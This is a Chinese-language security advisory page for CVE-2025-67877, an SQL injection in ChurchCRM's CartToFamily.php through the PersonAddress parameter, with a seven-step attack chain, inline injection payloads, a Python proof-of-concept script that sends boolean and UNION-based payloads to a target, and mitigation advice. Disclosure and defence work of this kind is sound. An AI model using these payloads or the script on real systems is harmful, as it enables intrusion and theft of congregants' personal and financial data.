IPBUF安全漏洞报告
English
CVE-2025-67877 CVSS 8.8 高危

CVE-2025-67877 ChurchCRM CartToFamily.php SQL注入漏洞

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2025-67877
漏洞类型
SQL注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ChurchCRM

相关标签

SQL注入ChurchCRMCVE-2025-67877Web应用安全开源软件漏洞数据库安全教会管理系统高危漏洞PHPMySQL

漏洞概述

ChurchCRM是一款开源的教会管理系统,广泛应用于全球各类宗教组织,用于管理信徒信息、捐赠记录、活动安排等核心业务数据。该系统基于PHP开发,支持MySQL数据库,提供Web界面进行日常管理操作。

本次发现的SQL注入漏洞存在于ChurchCRM 6.5.3之前版本的src/CartToFamily.php文件中,漏洞根源在于对用户输入的PersonAddress POST参数处理不当。与该文件中其他参数(如PersonID等)通过InputUtils类进行严格的整数类型转换不同,PersonAddress参数缺少必要的输入验证和类型强制转换机制。这使得攻击者可以通过构造特殊的Payload,将任意SQL代码注入到数据库查询语句中。

由于该漏洞的攻击复杂度较低(AC:L),且不需要特殊权限(PR:L)即可实施攻击,攻击者只需通过HTTP POST请求向CartToFamily.php端点发送恶意构造的PersonAddress参数值,即可实现对数据库的未授权访问。成功利用此漏洞可能导致以下严重后果:读取敏感的信徒个人信息、财务数据、捐赠记录;修改或删除数据库中的关键业务数据;在某些配置下可能进一步导致服务器被完全控制。

该漏洞的CVSS评分达到8.8分(高危),反映出其在机密性、完整性和可用性方面均具有高影响。鉴于ChurchCRM系统通常存储大量敏感的个人和财务信息,建议相关组织立即采取修复措施。

技术细节

漏洞的技术根源在于src/CartToFamily.php文件中对POST参数的处理逻辑存在缺陷。在正常的代码实现中,针对用户可控的输入参数,开发者应使用InputUtils类提供的类型转换方法(如InputUtils::validateInteger()或类似的强制类型转换函数)将输入强制转换为整数类型,从而防止SQL注入攻击。

然而,在处理PersonAddress参数时,代码直接将该参数的值拼接到SQL查询语句中,完全跳过了安全验证步骤。以下是该漏洞的技术细节:

1. 漏洞位置:src/CartToFamily.php文件中的CartToFamily功能模块
2. 脆弱参数:PersonAddress(POST参数)
3. 漏洞类型:基于错误的SQL注入(Error-based SQL Injection)
4. 根本原因:缺少参数类型定义和输入验证
5. SQL注入点:WHERE子句或相关的数据库查询语句

攻击者可以通过构造形如:PersonAddress=1' OR 1=1 -- 的Payload,利用SQL语法特性绕过预期的查询逻辑。更高级的利用方式包括:使用UNION SELECT提取数据库版本、用户名、表名等信息;使用BENCHMARK()或SLEEP()函数进行时间盲注;甚至通过INTO OUTFILE将恶意代码写入服务器文件系统。

修复方案是在处理PersonAddress参数时应用与文件中其他参数相同的安全措施,即通过InputUtils类进行严格的输入验证和类型转换,确保参数值只能是预期的整数或特定格式,从根本上阻断SQL注入的可能性。

攻击链分析

STEP 1
步骤1:信息收集
攻击者首先识别目标网站是否运行ChurchCRM系统,通过访问robots.txt、页面特征或HTTP响应头获取系统信息
STEP 2
步骤2:定位漏洞点
攻击者访问src/CartToFamily.php端点,确认该文件存在且可访问,了解参数结构
STEP 3
步骤3:构造恶意Payload
攻击者构造SQL注入Payload,如使用单引号闭合原查询,配合OR/AND逻辑和SQL函数进行注入测试
STEP 4
步骤4:验证漏洞存在
通过发送不同的Payload(如1' OR '1'='1和1' AND '1'='2),观察响应差异确认漏洞存在
STEP 5
步骤5:数据库枚举
利用UNION SELECT或布尔盲注技术提取数据库版本、表名、列名等元数据信息
STEP 6
步骤6:敏感数据提取
通过构造的SQL查询语句,直接读取users、donations、person_info等敏感表中的数据
STEP 7
步骤7:权限提升或持久化
根据数据库配置,可能通过INTO OUTFILE写入Webshell或利用数据库的操作系统命令执行功能获取服务器权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-67877 SQL Injection PoC for ChurchCRM # Target: ChurchCRM < 6.5.3 # Vulnerability: SQL Injection in src/CartToFamily.php via PersonAddress parameter def test_sql_injection(target_url, payload): """ Test for SQL injection vulnerability """ # Prepare the POST data data = { 'PersonAddress': payload, 'CartId': '1', 'Action': 'submit' } try: response = requests.post( f"{target_url}/src/CartToFamily.php", data=data, timeout=10, verify=False ) return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def basic_injection_test(target_url): """ Basic test to confirm vulnerability exists """ # True condition - should return results true_payload = "1' OR '1'='1" # False condition - should return no results or error false_payload = "1' AND '1'='2" print("[*] Testing basic SQL injection...") print(f"[*] True condition payload: {true_payload}") resp_true = test_sql_injection(target_url, true_payload) print(f"[*] False condition payload: {false_payload}") resp_false = test_sql_injection(target_url, false_payload) if resp_true and resp_false: if len(resp_true.text) != len(resp_false.text): print("[+] Vulnerability confirmed! Different responses received.") return True return False def extract_db_version(target_url): """ Extract database version using UNION-based injection """ # Payload to extract MySQL version payload = "1' UNION SELECT NULL,NULL,@@version,NULL,NULL-- -" print("[*] Extracting database version...") resp = test_sql_injection(target_url, payload) if resp and '5.' in resp.text or '8.' in resp.text: print("[+] Database version extracted successfully") return True return False def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-67877_poc.py <target_url>") print("Example: python cve-2025-67877_poc.py http://churchcrm.example.com") sys.exit(1) target_url = sys.argv[1].rstrip('/') print(f"[*] Target: {target_url}") print(f"[*] CVE: CVE-2025-67877") print(f"[*] Vulnerability: SQL Injection in ChurchCRM CartToFamily.php") print("-" * 60) if basic_injection_test(target_url): print("[+] SQL Injection vulnerability confirmed!") extract_db_version(target_url) else: print("[-] Vulnerability not detected or target not vulnerable") if __name__ == "__main__": main()

影响范围

ChurchCRM < 6.5.3

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 在Web服务器层面配置URL过滤,拦截包含可疑SQL语法的请求(如单引号、UNION、SELECT等关键词);2) 临时禁用CartToFamily.php功能模块,直至完成升级;3) 对数据库账户进行权限限制,移除不必要的DROP、DELETE、FILE等高危权限;4) 启用数据库查询日志监控,及时发现异常SQL执行行为;5) 实施IP白名单或验证码机制,减少自动化攻击风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表